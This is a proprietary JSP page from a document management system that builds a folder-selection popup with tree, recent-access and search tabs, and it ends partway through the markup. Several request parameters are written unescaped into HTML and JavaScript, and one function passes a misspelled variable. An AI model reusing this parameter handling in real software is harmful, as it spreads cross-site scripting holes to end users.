<%
/*
 * @(#)ListDmsFolderSelect.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsFolderSelect.jsp

  This is a ListDmsFolderSelect page.  It allows multiple file to be selected.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      27/02/2004
    @version            $Revision: 1.88.2.37 $
*/

%>
<% request.setCharacterEncoding("UTF-8");  %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.audit.bean.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsFolderSelectForm" scope="request" class="com.dcivision.dms.web.ListDmsFolderSelectForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsFolderSelectList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"common.label.select", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.name_Z", "DOCUMENT_NAME"},
                            {"dms.label.reference_no","REFERENCE_NO"},
                            {"dms.label.description","DESCRIPTION"},
                            {"dms.label.location", GlobalConstant.NOT_AVAILABLE} };

  String[][]  LABEL_MAP_RECENT = { {"ID", "ID"},
                            {"common.label.select", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.name_Z", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.reference_no",GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.description",GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.location", GlobalConstant.NOT_AVAILABLE} };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"},
                            {"dms.label.reference_no","REFERENCE_NO"},
                            {"dms.label.description","DESCRIPTION"}};

  String rootID = listDmsFolderSelectForm.getRootID()==null? request.getParameter("rootID"): listDmsFolderSelectForm.getRootID();
  String parentID = listDmsFolderSelectForm.getParentID()==null? request.getParameter("parentID"): listDmsFolderSelectForm.getParentID();


  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");
  String selectedLocation = (String)request.getAttribute("location");

  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  List versionList = (ArrayList) request.getAttribute(LIST_NAME+"_versionList");

  String homePageFunctionCode = request.getParameter("homePageFunctionCode") != null ? request.getParameter("homePageFunctionCode") : listDmsFolderSelectForm.getReturnTo();
  String fromFolderSelect =request.getParameter("temHomePageFunctionCode");
  String ID = request.getParameter("ID");
  //bill add for EIP-1442 start
  String ruleType=request.getParameter("ruleType");
  boolean isPublicRule=false;
  boolean isPrivateRule=false;
  if(!Utility.isEmpty(ruleType)){
    isPublicRule=SystemFunctionConstant.DMS_PUBLIC_RULE_SETUP.equals(ruleType);
    isPrivateRule=SystemFunctionConstant.DMS_PRIVATE_RULE_SETUP.equals(ruleType);
  }
  //bill add for EIP-1442 end
  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
    /* Select the corresponding preference style */
    String preferenceID = sessionContainer.getPreference();
    if (preferenceID==null) {
      preferenceID = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
    }

   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   boolean bListVersion = false;
   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
   RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer,conn);
   PermissionManager permissionManager = sessionContainer.getPermissionManager();
   String sCurFunctionCode = listDmsFolderSelectForm.getCurFunctionCode()==null ? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY) : listDmsFolderSelectForm.getCurFunctionCode();

   //Permission string
   String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, rootFolder.getID());

   DmsRootDAObject rootDAOTep = new DmsRootDAObject(sessionContainer, conn);
   List rootListTep = rootDAOTep.getRootByOwnerIDAndType(sessionContainer.getUserRecordID(), DmsRoot.PERSONAL_ROOT,GlobalConstant.RECORD_STATUS_ACTIVE);
   DmsRoot personalRoot = (DmsRoot)rootListTep.get(0);
   Integer personalID = personalRoot.getRootFolderID();

   if (personalRoot.getID().intValue() == rootFolder.getRootID().intValue()){
     permission = "PERSONAL";
     sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
   }else{
     sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
   }

   List rootPublicList = rootRetrievalManager.getAccessiblePublicRootsList();
   DmsRoot dmspublicRoot =null;
   DmsDocument dmsPublic = null;
   if (!Utility.isEmpty(rootPublicList)){
     dmspublicRoot = (DmsRoot)rootPublicList.get(0);
     dmsPublic = (DmsDocument)docRetrievalManager.getRootFolderByRootID(dmspublicRoot.getID());
   }


   String publicRootID ="";
   String publicParentID = "";

    publicRootID = rootID;
    publicParentID = parentID;
  
   String refreshCopyMove=listDmsFolderSelectForm.getRefreshCopyMove()==null? request.getParameter("refreshCopyMove"):listDmsFolderSelectForm.getRefreshCopyMove();
   String allowCompoundDoc=listDmsFolderSelectForm.getAllowCompoundDoc()==null?request.getParameter("allowCompoundDoc"):listDmsFolderSelectForm.getAllowCompoundDoc();
   String allowPaperDoc=listDmsFolderSelectForm.getAllowPaperDoc()==null?request.getParameter("allowPaperDoc"):listDmsFolderSelectForm.getAllowPaperDoc();
   String allowReset=listDmsFolderSelectForm.getAllowReset()==null?request.getParameter("allowReset"):listDmsFolderSelectForm.getAllowReset();
   String allowEmailDoc=listDmsFolderSelectForm.getAllowEmailDoc()==null?request.getParameter("allowEmailDoc"):listDmsFolderSelectForm.getAllowEmailDoc();
   String allowFormDoc=listDmsFolderSelectForm.getAllowFormDoc()==null?request.getParameter("allowFormDoc"):listDmsFolderSelectForm.getAllowFormDoc();
   String allowFlowDoc=listDmsFolderSelectForm.getAllowFlowDoc()==null?request.getParameter("allowFlowDoc"):listDmsFolderSelectForm.getAllowFlowDoc();
   String allowPublicRule = listDmsFolderSelectForm.getAllowPublicRule()==null?request.getParameter("allowPublicRule"):listDmsFolderSelectForm.getAllowPublicRule();
   String allowPersonalDoc=Utility.isEmpty(listDmsFolderSelectForm.getAllowPersonalDoc())?request.getParameter("allowPersonalDoc"):listDmsFolderSelectForm.getAllowPersonalDoc();
   String formName = listDmsFolderSelectForm.getFormName();
   String displayFieldName = listDmsFolderSelectForm.getDisplayFieldName();
   String hiddenRootIDFieldName = listDmsFolderSelectForm.getHiddenRootIDFieldName();
   String hiddenParentIDFieldName = listDmsFolderSelectForm.getHiddenParentIDFieldName();

   String arrayIndex = listDmsFolderSelectForm.getArrayIndex();

   String allowPublicOnly=Utility.isEmpty(request.getParameter("allowPublicOnly"))?(String)request.getAttribute("allowPublicOnly"):request.getParameter("allowPublicOnly");
   String allowPersonalOnly=Utility.isEmpty(request.getParameter("allowPersonalOnly"))?(String)request.getAttribute("allowPersonalOnly"):request.getParameter("allowPersonalOnly");

%>
<script language="javascript">
<!--

function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
  setHiddenValue(val[0], val[1]);
}

function permissionValidate(permission,parentID,rootID,documentType,line,listLoopCnt,opType,auditTrailID){
    if (permission.indexOf("R")>=0){
        setHiddenValueOnLoc(parentID,rootID,documentType);
        SetTableRowColor(line,listLoopCnt,opType,auditTrailID);
        return true;
    }else{
        alert("<bean:message key='errors.dms.have_no_function_permission' arg0='select this folder'/>");
        return false;
    }
}

function setHiddenValueOnLoc(parentID, rootID,documentType) {
    if(documentType=="<%=DmsDocument.COMPOUND_DOC_TYPE%>"){
        alert("<bean:message key='dms.message.compound_doc_cannot_chosen'/>");
    }else if(documentType=="<%=DmsDocument.PAPER_DOC_TYPE%>"){
        alert("<bean:message key='dms.message.paper_doc_cannot_chosen'/>");
    }else if(documentType=="<%=DmsDocument.DOCUMENT_TYPE%>"){
        alert("<bean:message key='dms.message.doc_cannot_chosen'/>");
    }else{
        document.listDmsFolderSelectForm.parentID.value=parentID;
        document.listDmsFolderSelectForm.rootID.value=rootID;
        document.listDmsFolderSelectForm.submit();
    }
}
//bill add for EIP-1442 start
function setHiddenValue(parentID, rootID, fullPath) {
  //ruleType is public rule,file to folder must be choose public folder
  if(<%=isPublicRule%>){
    if ("true"=='<%=allowPublicRule%>' && rootID=='<%=personalID.toString()%>'){
      alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
      return;
    }
  }
  //ruleType is private rule
  if(<%=isPrivateRule%>){
    if ("true"!='<%=allowPublicRule%>'){
      alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
      return;
    }
  }
  if ("true"=='<%=allowPublicRule%>' && rootID=='<%=personalID.toString()%>'&& <%=Utility.isEmpty(ruleType)%>){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
    return;
  }
  document.listDmsFolderSelectForm.destinationPath.value=replaceSpecialChar(fullPath);
  document.listDmsFolderSelectForm.parentID.value=parentID;
  document.listDmsFolderSelectForm.rootID.value=rootID;
  document.listDmsFolderSelectForm.submit();
}
//bill add for EIP-1442 end
function OptFileSelection(){
  if (document.listDmsFolderSelectForm.destinationPath.value == "")
  {
    alert('<bean:message key="dms.label.no_file_selected"/>');
    return false;
  }
  var parent = window.opener;
  var form = parent.document.<%=listDmsFolderSelectForm.getFormName()%>;
  if (form!=null && form!=undefined) {
    var targetPath = document.listDmsFolderSelectForm.destinationPath.value;
    var rootID = document.listDmsFolderSelectForm.rootID.value;
    var parentID = document.listDmsFolderSelectForm.parentID.value;
    var homePageFunctionCode = "<%=fromFolderSelect%>";
    var ID = document.listDmsFolderSelectForm.ID.value;
    var profileID = document.listDmsFolderSelectForm.profileID.value;
    var returnTo = document.listDmsFolderSelectForm.returnTo.value;
    var workflowRecordID = document.listDmsFolderSelectForm.workflowRecordID.value;

    //set the parent ParentID, RootID and the location path
    if (form.<%=listDmsFolderSelectForm.getDisplayFieldName()%>) {
      form.<%=listDmsFolderSelectForm.getDisplayFieldName()%>.value =targetPath;
    }

    if (form.<%=listDmsFolderSelectForm.getHiddenRootIDFieldName()%>) {
      form.<%=listDmsFolderSelectForm.getHiddenRootIDFieldName()%>.value = rootID;
    }

    if (form.<%=listDmsFolderSelectForm.getHiddenParentIDFieldName()%>) {
      form.<%=listDmsFolderSelectForm.getHiddenParentIDFieldName()%>.value = parentID;
    }


    if('true'=='<%=refreshCopyMove%>'){
		parent.refreshPage(rootID,parentID,homePageFunctionCode);
    }

    //For list workflow submission profile workflow
    if (profileID&&  "undefined" != profileID && "null" != profileID  ) {
      parent.startProfileWorkflow(rootID, parentID, profileID, returnTo,workflowRecordID);
    }

    //For email archive rule engine
    try {
      parent.onChangeFolderPicker(targetPath, rootID, parentID, ID);
    } catch(excption) {
    }

    //new paper document page refresh
    if (form.refreshPaperEditFlag && form.refreshPaperEditFlag.value=='true') {
      parent.refreshByFolderPicker(rootID, parentID);
    }
  }

  window.close();
}

function OptFileSelectionReset(){
  var parent = window.opener;
  var form = parent.<%=listDmsFolderSelectForm.getFormName()%>;
  var targetPath = document.listDmsFolderSelectForm.destinationPath.value;
  var rootID = document.listDmsFolderSelectForm.rootID.value;
  var parentID = document.listDmsFolderSelectForm.parentID.value;
  var homePageFunctionCode = "<%=fromFolderSelect%>";


    //set the parent ParentID, RootID and the location path
    if (form.<%=listDmsFolderSelectForm.getDisplayFieldName()%>){
      form.<%=listDmsFolderSelectForm.getDisplayFieldName()%>.value ='';
    }
    if (form.<%=listDmsFolderSelectForm.getDisplayFieldName()%>){
      form.<%=listDmsFolderSelectForm.getDisplayFieldName()%>.value ='';
    }
    if (form.<%=listDmsFolderSelectForm.getHiddenParentIDFieldName()%>){
      form.<%=listDmsFolderSelectForm.getHiddenParentIDFieldName()%>.value = '';
    }

  if('true'=='<%=refreshCopyMove%>'){
	parent.refreshPage(rootID,parentID,homePageFunctionCode);
  }

  window.close();
}

function popCreateNewFolder() {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  var url = "<%=request.getContextPath()%>"+"/dms/MaintDmsCreateNewFolder.do?opMode=&rootID=<%=rootID%>&parentID=<%=parentID%>";
  var name = "DCIVisionPopupCreateNewFolder";
  var popW = "600";
  var popH = "350";
  var feature = "scrollbars=yes,resizable=yes";


  if(frm.elements['destinationPath'].value==""||frm.elements['destinationPath'].value==null){
    alert("<bean:message key="errors.dms.target_location"/>");
    return false;
  }

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

function alertNoCompoundDoc(){
  var alertMessage ="<bean:message key='dms.message.compound_doc_cannot_chosen'/>";
  alert (alertMessage);
}

function alertNoPaperDoc(){
  var alertMessage ="<bean:message key='dms.message.paper_doc_cannot_chosen'/>";
  alert (alertMessage);
}

function handleTreeNodeGeneralDoc(docID,rootID){
  if ("true"=='<%=allowPublicRule%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    document.listDmsFolderSelectForm.parentID.value=docID;
    document.listDmsFolderSelectForm.rootID.value=rootID;
    document.listDmsFolderSelectForm.submit();
  }
}

function handleTreeNodeCompoundDoc(docID,rootID){
  <%if("false".equals(allowCompoundDoc)){%>
    var alertMessage ="<bean:message key='dms.message.compound_doc_cannot_chosen'/>";
    alert (alertMessage);
  <%}else{%>
    handleTreeNodeGeneralDoc(docID,rootID);
  <%}%>
}

function handleTreeNodePaperDoc(docID,rootID){
  <%if("false".equals(allowPaperDoc)){%>
    var alertMessage ="<bean:message key='dms.message.paper_doc_cannot_chosen'/>";
    alert (alertMessage);
  <%}else{%>
    handleTreeNodeGeneralDoc(docID,rootID);
  <%}%>
}

function handleTreeNodeEmailDoc(docID,rootID){
  <%if("false".equals(allowEmailDoc)){%>
    var alertMessage ="<bean:message key='dms.message.email_doc_cannot_chosen'/>";
    alert (alertMessage);
  <%}else{%>
    handleTreeNodeGeneralDoc(docID,rootID);
  <%}%>
}

function handleTreeNodeFormDoc(docID,rootID){
  <%if("false".equals(allowFormDoc)){%>
    var alertMessage ="<bean:message key='dms.message.form_doc_cannot_chosen'/>";
    alert (alertMessage);
  <%}else{%>
    handleTreeNodeGeneralDoc(docID,rootID);
  <%}%>
}

function handleTreeNodeFlowDoc(docID,rootID){
  <%if("false".equals(allowFlowDoc)){%>
    var alertMessage ="<bean:message key='dms.message.flow_doc_cannot_chosen'/>";
    alert (alertMessage);
  <%}else{%>
    handleTreeNodeGeneralDoc(docID,rootID);
  <%}%>
}

function handleTreeSubStaticNodeCompoundDoc(docID,rootID){
  handleTreeNodeCompoundDoc(docID,rootID);
}

function handleTreeSubStaticNodePaperDoc(docID,rootID){
  handleTreeNodePaperDoc(docID,rooID)
}

function handleTreeSubStaticNodeGeneralDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}



function handleTreeSubStaticNodeEmailDoc(docID,rootID){
  handleTreeNodeEmailDoc(docID,rootID);
}

function handleTreeSubStaticNodeFormDoc(docID,rootID){
  handleTreeNodeFormDoc(docID,rootID);
}

function handleTreeSubStaticNodeFlowDoc(docID,rootID){
  handleTreeNodeFlowDoc(docID,rootID);
}

function refreshPage(rootID,parentID){
  document.listDmsFolderSelectForm.rootID.value = rootID;
  document.listDmsFolderSelectForm.parentID.value = parentID;
  document.listDmsFolderSelectForm.opMode.value = "LRETAIN"
  document.listDmsFolderSelectForm.submit();
}

function changeTab(href){
  window.document.location.href=href;
  return false;
}

function clickNodeAction(tree, node) {
  var nodeId = node.id;
  var rootId = tree.rootId;
  var fullPath   = tree.getFullPathString(node.idx);
  switch (node.tp) {
    case '<%=DmsDocument.COMPOUND_DOC_TYPE%>' : handleTreeNodeCompoundDoc(nodeId, rootId); break;
    case '<%=DmsDocument.PAPER_DOC_TYPE%>'    : handleTreeNodePaperDoc(nodeId, rootId); break;
    case '<%=DmsDocument.EMAIL_DOC_TYPE%>'    : handleTreeNodeEmailDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FORM_DOC_TYPE%>'     : handleTreeNodeFormDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FLOW_DOC_TYPE%>'     : handleTreeNodeFlowDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FOLDER_TYPE%>'       : setHiddenValue(nodeId, rootId, fullPath); break;
    default : alert("not support document type("+node.tp+")");
  }
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsFolderSelect" method="POST" styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property='rootID'/>
<html:hidden property='parentID'/>
<html:hidden property='formName'/>
<html:hidden property='displayFieldName'/>
<html:hidden property='hiddenRootIDFieldName'/>
<html:hidden property='hiddenParentIDFieldName'/>
<html:hidden property='refreshCopyMove'/>
<html:hidden property='allowCompoundDoc' value='<%=allowCompoundDoc%>' />
<html:hidden property='allowPaperDoc' value='<%=allowPaperDoc%>'/>
<html:hidden property='allowEmailDoc' value='<%=allowEmailDoc%>' />
<html:hidden property='allowFormDoc' value='<%=allowFormDoc%>'/>
<html:hidden property='allowFlowDoc' value='<%=allowFlowDoc%>' />
<html:hidden property='allowReset' value='<%=allowReset%>'/>
<html:hidden property='allowPersonalDoc' value='<%=allowPersonalDoc%>'/><!-- joan.xiong add code for bug EIP-932 by 2006/11/15 -->
<html:hidden property="returnTo"/>
<html:hidden property="isMyFavorite"/>
<html:hidden property="actionType"/>
<html:hidden property="arrayIndex"/>
<html:hidden property="profileID"/>
<input type="hidden" name="workflowRecordID" value='<%=request.getParameter("workflowRecordID")%>'>
<input type="hidden" name='temHomePageFunctionCode' value='<%=homePageFunctionCode%>'>
<html:hidden property="allowPublicRule" value="<%=allowPublicRule%>"/>
<html:hidden property="ID"/>

<input type="hidden" name="allowPublicOnly" value="<%=allowPublicOnly%>" />
<input type="hidden" name="allowPersonalOnly" value="<%=allowPersonalOnly%>" />


<!--bill add for EIP-1442 start-->
<%if(!Utility.isEmpty(ruleType)){%>
  <html:hidden property="ruleType" value="<%=ruleType%>"/>
<%}%>

<div class="popupPanelTitle">
  <bean:message key='dms.label.location_search_panel'/>
</div>

<%
  sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
  String strUrl_B = "return changeTab('ListDmsFolderSelect.do?actionType=B&rootID="+publicRootID+"&parentID="+publicParentID+"&formName="+formName+"&displayFieldName="+displayFieldName+"&hiddenRootIDFieldName="+hiddenRootIDFieldName+"&hiddenParentIDFieldName="+hiddenParentIDFieldName+"&allowCompoundDoc=false&allowPaperDoc=false&allowEmailDoc=false&allowFlowDoc=false&allowFormDoc=false&allowReset=false&isMyFavorite=&sCurFunctionCode="+sCurFunctionCode+"&ID="+ID+"')";
  String strUrl_R = "return changeTab('ListDmsFolderSelect.do?actionType=R&rootID="+publicRootID+"&parentID="+publicParentID+"&formName="+formName+"&displayFieldName="+displayFieldName+"&hiddenRootIDFieldName="+hiddenRootIDFieldName+"&hiddenParentIDFieldName="+hiddenParentIDFieldName+"&allowCompoundDoc=false&allowPaperDoc=false&allowEmailDoc=false&allowFlowDoc=false&allowFormDoc=false&allowReset=false&isMyFavorite=&sCurFunctionCode="+sCurFunctionCode+"&ID="+ID+"')";
  String strUrl_S = "return changeTab('ListDmsFolderSelect.do?actionType=S&rootID="+publicRootID+"&parentID="+publicParentID+"&formName="+formName+"&displayFieldName="+displayFieldName+"&hiddenRootIDFieldName="+hiddenRootIDFieldName+"&hiddenParentIDFieldName="+hiddenParentIDFieldName+"&allowCompoundDoc=false&allowPaperDoc=false&allowEmailDoc=false&allowFlowDoc=false&allowFormDoc=false&allowReset=false&isMyFavorite=&sCurFunctionCode="+sCurFunctionCode+"&ID="+ID+"')";

%>

<layout:tabContainer id="tab1">
  <layout:tabBar>
    <layout:tabPane id="browseTab" title="dms.label.browse" onEnterTab="<%=strUrl_B%>" selected='<%=(Utility.isEmpty(listDmsFolderSelectForm.getActionType()) || "B".equals(listDmsFolderSelectForm.getActionType()))?true:false%>'/>
    <layout:tabPane id="recentAccessTab" title="dms.label.recent_access" onEnterTab="<%=strUrl_R%>" selected='<%="R".equals(listDmsFolderSelectForm.getActionType())?true:false%>'/>
    <layout:tabPane id="searchTab" title="dms.label.search" onEnterTab="<%=strUrl_S%>" selected='<%="S".equals(listDmsFolderSelectForm.getActionType())?true:false%>'/>
  </layout:tabBar>


  <div id="browseTab" class="tabContent">
  <%if (Utility.isEmpty(listDmsFolderSelectForm.getActionType()) || "B".equals(listDmsFolderSelectForm.getActionType())){%>
    <div> 
      <html:img src='LayoutSpacer.gif' height='1' width='1' />
    </div>

    <layout:listBar>
        <%if (!"M".equals(listDmsFolderSelectForm.getActionType())){%>
          <layout:filterControl/>
        <%}%>
        </layout:listBar>

    <%if (!"M".equals(listDmsFolderSelectForm.getActionType())){%>
      <!-- Search Panel Begin -->
      <div id="filterPanel" class="filterPanel">
        <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
        <div>
          <table>
              <tr>
                  <td class="filterPanelItem" nowrap>
                      <html:select property="basicSearchField" styleClass="form-style-2-short-pulldown">
                      <html:options stringArray='<%=SEARCH_MAP%>'/>
                      </html:select>
                  </td>
                  <td class="filterPanelItem" nowrap>
                      <html:select property='basicSearchType' styleClass="form-style-2-short-pulldown">
                      <html:options listName='criteriaList'/>
                      </html:select>
                  </td>
                  <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);" styleClass="form-style-2-textfield" /></td>
              </tr>
          </table>
        </div>
        <div class="buttonContainer">
          <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsFolderSelectForm, '${listDmsFolderSelectForm.sortAttribute}', '${listDmsFolderSelectForm.sortOrder}'))"/>
          <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsFolderSelectForm))"/>
        </div>
        <br style="clear:both" />
      </div>
      <!-- Search Panel End -->
    <%}%>
    
    <div>
      <table width='100%' cellpadding="0" cellspacing="0" border="0" >
        <tr>
          <td valign="top" class="dtreeContainer">
            <div id="treeContainer">
            	<div id="treeFrameSelection">
                <select name="publicRootList" class="form-dmstree-pulldown" onchange="javascript:changeRoot(this.value);">
                  <logic:present name="publicRootList">
                    <logic:iterate id="dmsRoot" name="publicRootList" scope="request">
                      <option value='<%=((DmsRoot)dmsRoot).getRootFolderID()+ ";" + ((DmsRoot)dmsRoot).getID()%>' <%=(rootID.equals(((DmsRoot)dmsRoot).getID().toString())? "selected" : "")%> >
                        <bean:write name="dmsRoot" property="rootName"/>
                      </option>
                    </logic:iterate>
                  </logic:present>
                </select>
                </div>
              <div id="treeFrame" class="dtreeContainer">
                <dms:tree name='<%="select"+rootID%>' rootId="<%=rootID%>" expandId="<%=parentID%>"></dms:tree>
              </div>
            </div>
            <script language="javascript">
            <!--
              var divHeight = (<%=listDmsFolderSelectForm.getPageOffset()%>)*(21)+21;
              FindObj("treeFrame").style.height = divHeight+"px";
            -->
            </script>
          </td>

          <td valign="top">
          	<div id="listContainer">
              <div id="dataGrid" class="listTable">
                <table>
                  <!-- Table Column Header Begin -->
                  <tr>
                  <layout:columnHeader form="listDmsFolderSelectForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsFolderSelectForm.getSortAttribute()%>" sortOrder="<%=listDmsFolderSelectForm.getSortOrder()%>" copyColumn="false" checkColumn="false" editColumn="false"/>
                  </tr>
                  <!-- Table Column Header End -->

                  <!-- Record Looping Begin -->
                  <logic:iterate id="dmsdocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
                    <tr onMouseDown="setHiddenValueOnLoc(<%=((DmsDocument)dmsdocument).getID()%>, <%=((DmsDocument)dmsdocument).getRootID()%>,'<%=((DmsDocument)dmsdocument).getDocumentType()%>');SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsdocument).getID()%>);">
                      <td align="center">
                        <input type="radio" name="basicSelectedID" value="<%=((DmsDocument)dmsdocument).getID()%>" onClick="return(false);">
                      </td>
                      <td>
                      <dms:documentInfo docObject='<%=(DmsDocument)dmsdocument%>' onClick='false' permission='<%=permission%>' rootDocument='<%=rootFolder%>' onClick="false" hasUnderLine='false' />
                      </td>
                      <td>
                        <%=((DmsDocument)dmsdocument).getReferenceNo()==null? "":((DmsDocument)dmsdocument).getReferenceNo()%>
                      </td>
                      <td>
                        <%=((DmsDocument)dmsdocument).getDescription()==null? "":((DmsDocument)dmsdocument).getDescription()%>
                      </td>
                      <td align="left">
                        <% if (((DmsDocument)dmsdocument).getParentID().intValue() !=0 ) { %>
                          <%=docRetrievalManager.getLocationPath(((DmsDocument)dmsdocument).getParentID()).trim()%>
                        <%}else{%>
                          <bean:message key='dms.label.root'/>
                        <%}%>
                      </td>
                    </tr>
                  </logic:iterate>
                  <input type="hidden" name='listCnt' value='<bean:write name='listLoopCnt'/>'>
                  <!-- Record Looping End -->
                </table>
              </div>

              <!-- Pager Information Begin -->
              <div class="listStatusBar" style="position:absolute;bottom:0px;z-index:10;">
                <layout:pager form="listDmsFolderSelectForm" name='<%=LIST_NAME%>'>
                <div class="statement"><layout:pagerInfo/></div>
                <div class="sepBar"><layout:pagerIndex/></div>
                </layout:pager>
              </div>
              <!-- Pager Information End -->
            </div>
          </td>
        </tr>
      </table>
    </div>
    <script language='javascript'>
    <!--
      var divHeight = (<%=listDmsFolderSelectForm.getPageOffset()%>)*(21)+21;
      if (divHeight < "<%=GlobalConstant.TABLE_MINIMUM_HEIGHT%>"){
        divHeight="<%=GlobalConstant.TABLE_MINIMUM_HEIGHT%>";
      }
      FindObj("dataGrid").style.height = divHeight+"px";
      addLoadEvent(function(){SetDivHeight('listContainer', 'treeContainer')});
    -->
    </script>
  <%}%>
  </div>

  <div id="recentAccessTab" class="tabContent">
    <%if ("R".equals(listDmsFolderSelectForm.getActionType())){%>
    <div> 
      <html:img src='LayoutSpacer.gif' height='1' width='1' />
    </div>
          <div id="listContainer">
            <div id="dataGrid" class="listTable">
              <div id="list_tab">
                <table>
                  <!-- Table Column Header Begin -->
                  <tr>
                  <layout:columnHeader form="listDmsFolderSelectForm" labelMap="<%=LABEL_MAP_RECENT%>" sortAttribute="<%=listDmsFolderSelectForm.getSortAttribute()%>" sortOrder="<%=listDmsFolderSelectForm.getSortOrder()%>" copyColumn="false" checkColumn="false" editColumn="false"/>
                  </tr>
                  <!-- Table Column Header End -->
                  <!-- Record Looping Begin -->
                  <logic:iterate id="auditTrail" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
                  <% DmsDocument dmsDocument = docRetrievalManager.getDocument(((AuditTrail)auditTrail).getObjectID());
                  permission = request.getParameter("permission");
                  DmsDocument documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
                  if (Utility.isEmpty(permission)){
                  //PermissionManager permissionManager = sessionContainer.getPermissionManager();
                  permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((DmsDocument) dmsDocument).getID());
                  }
                  %>
                  <tr id="line+<%=((DmsDocument)dmsDocument).getID()%>" onMouseDown="permissionValidate('<%=permission%>',<%=((DmsDocument)dmsDocument).getID()%>,<%=((DmsDocument)dmsDocument).getRootID()%>,'<%=((DmsDocument)dmsDocument).getDocumentType()%>',this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)auditTrail).getID()%>);">
                    <td align="center">
                      <input type="radio" name="basicSelectedID" value="<%=((AbstractBaseObject)auditTrail).getID()%>" onClick="return(false);">
                    </td>
                    <td>
                      <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' onClick='false' permission='<%=permission%>' rootDocument='<%=rootFolder%>' onClick="false" hasUnderLine='false' />
                    </td>
                    <td>
                      <%=((DmsDocument)dmsDocument).getReferenceNo()==null? "":((DmsDocument)dmsDocument).getReferenceNo()%>
                    </td>
                    <td>
                      <%=((DmsDocument)dmsDocument).getDescription()==null? "":((DmsDocument)dmsDocument).getDescription()%>
                    </td>
                    <td align="left">
                    <% if (((DmsDocument)dmsDocument).getParentID().intValue() !=0 ) { %>
                      <%=docRetrievalManager.getLocationPath(((DmsDocument)dmsDocument).getParentID()).trim()%>
                    <%}else{%>
                      <bean:message key='dms.label.root'/>
                    <%}%>
                    </td>
                  </tr>
                  </logic:iterate>
                  <input type="hidden" name='listCnt' value='<bean:write name='listLoopCnt'/>'>
                  <!-- Record Looping End -->
                </table>
              </div>

              <!-- Pager Information Begin -->
              <div class="listStatusBar">
                <layout:pager form="listDmsFolderSelectForm" name='<%=LIST_NAME%>'>
                <div class="statement"><layout:pagerInfo/></div>
                <div class="sepBar"><layout:pagerIndex/></div>
